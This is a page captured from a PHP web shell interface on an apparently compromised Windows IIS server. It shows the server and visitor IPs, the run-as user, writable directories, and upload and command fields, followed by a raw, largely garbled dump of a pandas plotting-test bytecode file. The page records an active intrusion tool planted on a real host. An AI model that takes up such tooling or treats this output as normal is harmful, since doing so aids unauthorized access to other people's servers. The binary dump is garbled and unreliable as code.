403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/pandas/tests/plotting/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/pandas/tests/plotting/__pycache__/common.cpython-312.pyc
�

0	�g�A���dZddlmZddlmZddlZddlmZddl	Z
ddl	mZddlm
ZerddlmZddlmZdd	�Zdd
�Zd�Zdd�Zdd d
�Zd�Zd!d�Zd�Zd"d�Zd#d�Zd!d�Zd$d�Zd%d�Z	dd�Z ifd�Z!d&d�Z"d�Z#d�Z$d'd�Z%d�Z&d�Z'y)(zF
Module consolidating common testing functions for checking plotting.
�)�annotations)�
TYPE_CHECKINGN)�is_list_like)�Series)�Sequence��Axesc���|r
|�td��t|�}|D]Q}|r;|j��J�t|j�j	�|��@|j���QJ�y)a)
    Check each axes has expected legend labels

    Parameters
    ----------
    axes : matplotlib Axes object, or its list-like
    labels : list-like
        expected legend labels
    visible : bool
        expected legend visibility. labels are checked only when visible is
        True
    Nz-labels must be specified when visible is True)�
ValueError�_flatten_visible�
get_legend�_check_text_labels�	get_texts)�axes�labels�visible�axs    �>C:\Python312\Lib\site-packages\pandas/tests/plotting/common.py�_check_legend_labelsrsp���F�N��H�I�I��D�!�D��+����=�=�?�.�.�.��r�}�}��8�8�:�F�C��=�=�?�*�*�*�+�c���|r
|�td��|r8|j�\}}|D�cgc]}|j���}}||k(sJ�y|j��J�ycc}w)a
    Check ax has expected legend markers

    Parameters
    ----------
    ax : matplotlib Axes object
    expected_markers : list-like
        expected legend markers
    visible : bool
        expected legend visibility. labels are checked only when visible is
        True
    Nz.Markers must be specified when visible is True)r�get_legend_handles_labels�
get_markerr
)r�expected_markersr�handles�_�handle�markerss       r�_check_legend_markerr/sp���$�,��I�J�J���1�1�3�
���5<�=�6�6�$�$�&�=��=��*�*�*�*��}�}��&�&�&��>s�Ac�8�ddlm}|j�}|j�}t|�t|�k(sJ�t	||�D];\}}|j�}|j�}t
j||��=|jd�y)z�
    Check each axes has identical lines

    Parameters
    ----------
    xp : matplotlib Axes object
    rs : matplotlib Axes object
    rN�all)	�matplotlib.pyplot�pyplot�	get_lines�len�zip�
get_xydata�tm�assert_almost_equal�close)	�xp�rs�plt�xp_lines�rs_lines�xpl�rsl�xpdata�rsdatas	         r�_check_datar4Fs���$��|�|�~�H��|�|�~�H��x�=�C��M�)�)�)���(�+�/���S����!�����!��
���v�v�.�/�
�I�I�e�rc�|�ddlm}t||�st|�s|g}|D]}|j	�|k(r�J�y)z�
    Check each artist is visible or not

    Parameters
    ----------
    collections : matplotlib Artist or its list-like
        target Artist or its list or collection
    visible : bool
        expected visibility
    r)�
CollectionN)�matplotlib.collectionsr6�
isinstancer�get_visible)�collectionsrr6�patchs    r�_check_visibler<]sE��2��k�:�.�|�K�7P�"�m���.��� � �"�g�-�-�-�.rc�l�t|�}|D]$}|jD]}|j|k(r�J��&y)z�
    Check for each artist whether it is filled or not

    Parameters
    ----------
    axes : matplotlib Axes object, or its list-like
    filled : bool
        expected filling
    N)r�patches�fill)r�filledrr;s    r�_check_patches_all_filledrAqsB���D�!�D��(���Z�Z�	(�E��:�:��'�'�'�	(�(rc��|j�}tt||��}|jD�cgc]}||��	c}Scc}w�N)�unique�dictr&�values)�series�colorsrD�mapped�vs     r�_get_colors_mappedrK�s<��
�]�]�_�F��#�f�f�%�
&�F�%�}�}�-�!�F�1�I�-�-��-s�Ac�R�ddlm}ddlm}m}m}ddlm}|j}	|��|�t||�}|dt|�}t|�t|�k(sJ�t||�D]�\}
}t|
|�r"|
j�}|	j|�}n;t|
||f�rt|
j!�d�}n|
j!�}|	j|�}
||
k(r��J�|��|�t||�}|dt|�}t|�t|�k(sJ�t||�D]r\}
}t|
|�r|
j#�d}n|
j#�}t|t$j&�rt|�}|	j|�}
||
k(r�rJ�yy)a�
    Check each artist has expected line colors and face colors

    Parameters
    ----------
    collections : list-like
        list or collection of target artist
    linecolors : list-like which has the same length as collections
        list of expected line colors
    facecolors : list-like which has the same length as collections
        list of expected face colors
    mapping : Series
        Series used for color grouping key
        used for andrew_curves, parallel_coordinates, radviz test
    r)rH)r6�LineCollection�PolyCollection)�Line2DN)�
matplotlibrHr7r6rMrN�matplotlib.linesrO�ColorConverterrKr%r&r8�	get_color�to_rgba�tuple�
get_edgecolor�
get_facecolor�np�ndarray)r:�
linecolors�
facecolors�mappingrHr6rMrNrO�convr;�color�result�expecteds              r�
_check_colorsra�s��� "���
(�� � �D�����+�G�Z�@�J�#�$6�c�+�&6�7�J��;��3�z�?�2�2�2���Z�8�	&�L�E�5��%��(����*�����f�-���E�N�N�#C�D��u�2�2�4�Q�7�8���,�,�.���|�|�E�*�H��X�%�%�%�	&�����+�G�Z�@�J�#�$6�c�+�&6�7�J��;��3�z�?�2�2�2���Z�8�	&�L�E�5��%��,��,�,�.�q�1���,�,�.���&�"�*�*�-��v����|�|�E�*�H��X�%�%�%�	&�
rc���t|�s|j�|k(sJ�y|D�cgc]}|j���}}t|�t|�k(sJ�t||�D]\}}||k(r�J�ycc}w)a
    Check each text has expected labels

    Parameters
    ----------
    texts : matplotlib Text object, or its list-like
        target text, or its list
    expected : str or list-like which has the same length as texts
        expected text label, or its list
    N)r�get_textr%r&)�textsr`�tr�label�es      rrr�s{������~�~��8�+�+�+�(-�.�1�!�*�*�,�.��.��6�{�c�(�m�+�+�+��F�H�-�	�H�E�1��A�:��:�	��/s�A4c��ddlm}t|�}|D�]d}|�|��t|jj�|�r|j
�}n#|j
�|j
d��z}|D]O}|�$tj|j�|�|��,tj|j�|��Q|�|���t|jj�|�r|j�}n#|j�|jd��z}|D]O}|�$tj|j�|�|��,tj|j�|��Q��gy)ac
    Check each axes has expected tick properties

    Parameters
    ----------
    axes : matplotlib Axes object, or its list-like
    xlabelsize : number
        expected xticks font size
    xrot : number
        expected xticks rotation
    ylabelsize : number
        expected yticks font size
    yrot : number
        expected yticks rotation
    r)�
NullFormatterNT)�minor)
�matplotlib.tickerrirr8�xaxis�get_minor_formatter�get_xticklabelsr(r)�get_fontsize�get_rotation�yaxis�get_yticklabels)	r�
xlabelsize�xrot�
ylabelsize�yrotrirrrfs	         r�_check_ticks_propsrw�sf�� 0��D�!�D��G���!�T�%5��"�(�(�6�6�8�-�H��+�+�-���+�+�-��0B�0B��0B�0N�N���
G���)��*�*�5�+=�+=�+?��L��#��*�*�5�+=�+=�+?��F�	
G��!�T�%5��"�(�(�6�6�8�-�H��+�+�-���+�+�-��0B�0B��0B�0N�N���
G���)��*�*�5�+=�+=�+?��L��#��*�*�5�+=�+=�+?��F�	
G�+Grc��t|�}|D]@}|jj�|k(sJ�|jj�|k(r�@J�y)z�
    Check each axes has expected scales

    Parameters
    ----------
    axes : matplotlib Axes object, or its list-like
    xaxis : {'linear', 'log'}
        expected xaxis scale
    yaxis : {'linear', 'log'}
        expected yaxis scale
    N)rrl�	get_scalerq)rrlrqrs    r�_check_ax_scalesrz
sS���D�!�D��-���x�x�!�!�#�u�,�,�,��x�x�!�!�#�u�,�,�,�-rc�\�ddlm}|�d}t|�}|�5t|�|k(sJ�|D] }t|j	��dkDr� J�|��t�}t�}||�D]N}|j
�j�}	|j|	dd�|j|	dd��Pt|�t|�f}
|
|k(sJ�tj|djj�tj|tj���y)a�
    Check expected number of axes is drawn in expected layout

    Parameters
    ----------
    axes : matplotlib Axes object, or its list-like
    axes_num : number
        expected number of axes. Unnecessary axes should be set to
        invisible.
    layout : tuple
        expected layout, (expected number of rows , columns)
    figsize : tuple
        expected figsize. default is matplotlib default
    r��flatten_axesN)g������@g333333@�)�dtype)�!pandas.plotting._matplotlib.toolsr}rr%�get_children�set�get_position�
get_points�addr(�assert_numpy_array_equal�figure�get_size_inchesrX�array�float64)r�axes_num�layout�figsizer}�visible_axesr�x_set�y_set�pointsr_s           r�_check_axes_shaper�s��?�����#�D�)�L����<� �H�,�,�,��	.�B��r���(�)�A�-�-�-�	.����������t�$�	$�B��_�_�&�1�1�3�F��I�I�f�Q�i��l�#��I�I�f�Q�i��l�#�		$�
�e�*�c�%�j�)�����������Q����.�.�0�
�����
�
�+�rc�l�ddlm}||�}|D�cgc]}|j�s�|��}}|Scc}w)z�
    Flatten axes, and filter only visible

    Parameters
    ----------
    axes : matplotlib Axes object, or its list-like

    rr|)r�r}r9)rr}�axes_ndarrayrs    rrrKs7��?���%�L�%�:�2����)9�B�:�D�:��K��;s�1�1c���t|�}|D]P}|j}d}d}|D]+}t|dd�}t|dd�}	|r|dz
}|	s�'|dz
}�-||k(sJ�||k(r�PJ�y)z�
    Check axes has expected number of errorbars

    Parameters
    ----------
    axes : matplotlib Axes object, or its list-like
    xerr : number
        expected number of x errorbar
    yerr : number
        expected number of y errorbar
    r�has_xerrF�has_yerrr~N)r�
containers�getattr)
r�xerr�yerrrr��
xerr_count�
yerr_count�cr�r�s
          r�_check_has_errorbarsr�[s����D�!�D��"���]�]�
��
��
��	 �A��q�*�e�4�H��q�*�e�4�H���a��
���a��
�
	 ��z�!�!�!��z�!�!�!�"rc�6�ddlm}t|td�}|�P|�d}t	|||�sJ�|dk(r5t	|j
|�sJ�t	|jt�sJ�yy|�t|�D]}t	||�r�J�yt	|t�sJ�t|j��t|�k(sJ�|j�D]�\}}t	|||�sJ�|dk(r|s�|j�|k(r�3J�|dk(rV|r|j
j�|k(sJ�t	|j
|�sJ�t	|jt�r��J�|dk(r-|dd}	|	j}
|s��|
j�|k(r��J�t�y)	a<
    Check box returned type is correct

    Parameters
    ----------
    returned : object to be tested, returned from boxplot
    return_type : str
        return_type passed to boxplot
    expected_keys : list-like, optional
        group labels in subplot case. If not passed,
        the function checks assuming boxplot uses single ax
    check_ax_title : bool
        Whether to check the ax.title is the same as expected_key
        Intended to be checked by calling from ``boxplot``.
        Normal ``plot`` doesn't attach ``ax.title``, it must be disabled.
    rr)rEr�bothNrEr�r�medians)�matplotlib.axesr	rErUr8r�linesrr�sorted�keys�items�	get_titler�AssertionError)�returned�return_type�
expected_keys�check_ax_titler	�types�r�key�value�liners           r�_check_box_return_typer�ws���&%��4��7�E����� �K��(�E�+�$6�7�7�7��&� ��h�k�k�4�0�0�0��h�n�n�d�3�3�3�!�
��%�h�/�
+��!�!�T�*�*�*�
+���(�F�+�+�+��h�m�m�o�&�&��*?�?�?�?�"�.�.�*�	%�J�C���e�U�;�%7�8�8�8��f�$�!� �?�?�,��3�3�3���&�!� �8�8�-�-�/�3�6�6�6�!�%�(�(�D�1�1�1�!�%�+�+�t�4�4�4���&��Y�'��*���y�y��!��>�>�+�s�2�2�2�$�$�#	%rc���ddl��fd�}d}|D�]�}�jjddt|�z|�|dz
}�j	dd��|j
dd|i|��|�rJ��jj
��jjddt|�z|�|dz
}�j	dd	��|j
d|dd
�|��|�rJ��jj
�|dvs���jjddt|�z|�|dz
}�j	dd	��|j
dd|i|��|�sJ��jj
��jjddt|�z|�|dz
}�j	dd��|j
d|d	d
�|��|�sJ��jj
����y)
Nrc�"���jj�jj�}�jj�jj�}td�|D��}td�|D��}|xr|S)Nc3�RK�|]}|jj����!y�wrC��gridliner9��.0�gs  r�	<genexpr>z;_check_grid_settings.<locals>.is_grid_on.<locals>.<genexpr>�� ����@�A�q�z�z�-�-�/�/�@���%'c3�RK�|]}|jj����!y�wrCr�r�s  rr�z;_check_grid_settings.<locals>.is_grid_on.<locals>.<genexpr>�r�r�)r#�gcarl�get_major_ticksrqr!)�xticks�yticks�xoff�yoff�mpls    �r�
is_grid_onz(_check_grid_settings.<locals>.is_grid_on�sn��������!�'�'�7�7�9�������!�'�'�7�7�9���@��@�@���@��@�@���M�T�"�"rr~�rF)�grid�kindT)r�r�)�pie�hexbin�scatter�)rPr#�subplotr%�rc�plot�clf)�obj�kinds�kwsr��spndxr�r�s      @r�_check_grid_settingsr��s�����#�
�E�����
�
���1�a�#�e�*�n�e�4�
��
�����v�E��"�����"�d�"�c�"��<����
�
�����
�
���1�a�#�e�*�n�e�4�
��
�����v�D��!�����.�d��.�#�.��<����
�
�����3�3��J�J���q�!�c�%�j�.�%�8��Q�J�E��F�F�6��F�%��C�H�H�&�$�&�#�&��<��<��J�J�N�N���J�J���q�!�c�%�j�.�%�8��Q�J�E��F�F�6��F�&��C�H�H�1�$�T�1�S�1��<��<��J�J�N�N��9rc�8�|dD�cgc]}||��	c}Scc}w)zL
    Auxiliary function for correctly unpacking cycler after MPL >= 1.5
    zaxes.prop_cycler�)�rcParams�fieldrJs   r�_unpack_cyclerr��s"��'�'8�9�:��A�e�H�:�:��:s�c� �|jdS)N�x��_shared_axes�rs r�
get_x_axisr�����
�?�?�3��rc� �|jdS)N�yr�r�s r�
get_y_axisr��r�rc�.�ddlm}|rt}nt}d}	|j	d|j��}|j
�|||fi|��D]}tj|��	|j|�|S#|j�wxYw)a�
    Create plot and ensure that plot return object is valid.

    Parameters
    ----------
    f : func
        Plotting function.
    default_axes : bool, optional
        If False (default):
            - If `ax` not in `kwargs`, then create subplot(211) and plot there
            - Create new subplot(212) and plot there as well
            - Mind special corner case for bootstrap_plot (see `_gen_two_subplots`)
        If True:
            - Simply run plotting function with kwargs provided
            - All required axes instances will be created automatically
            - It is recommended to use it when the plotting function
            creates multiple axes itself. It helps avoid warnings like
            'UserWarning: To output multiple subplots,
            the figure containing the passed axes is being cleared'
    **kwargs
        Keyword arguments passed to the plotting function.

    Returns
    -------
    Plot object returned by the last plotting.
    rNr�)
r"r#�_gen_default_plot�_gen_two_subplots�get�gcfr�r(�"assert_is_valid_plot_return_objectr*)�f�default_axes�kwargsr-�	gen_plots�ret�figs       r�_check_plot_worksr��s���6$��%�	�%�	�
�C���j�j��3�7�7�9�-�����	��Q��.�v�.�	7�C��1�1�#�6�	7�	�	�	�#���J��	�	�	�#��s�AB�Bc+� K�|di|����y�w)z'
    Create plot in a default way.
    Nr�r��r�r�r�s   rr�r� s�����+�f�+��s�c+��K�d|vr|jd�|di|����|tjjurd|vsJ�|jd�|d<|di|����y�w)z9
    Create plot on two subplots forcefully created.
    r����Nr�)�add_subplot�pd�plotting�bootstrap_plotr�s   rr�r�'sf�����6�������
�+�f�+���B�K�K�&�&�&��6�!�!�!����s�+��t��
�+�f�+��s�A!A#)NT)T)r�Axes | Sequence[Axes]r@�bool�return�None)NNN)NNNN)�linearr)rr�r�zSequence[Axes])rr)r^)F)(�__doc__�
__future__r�typingr�numpyrX�pandas.core.dtypes.apir�pandasr�r�pandas._testing�_testingr(�collections.abcrr�r	rrr4r<rArKrarrwrzr�rr�r�r�r�r�r�r�r�r�r�rr�<module>r
s����#� ��/�����(�$�+�0'�.�..�((�".�=&�@�(,G�^-�$)�X
� "�:?C�:%�z*,�*�Z;� � �-�`�r

Youez - 2016 - github.com/yon3zu
LinuXploit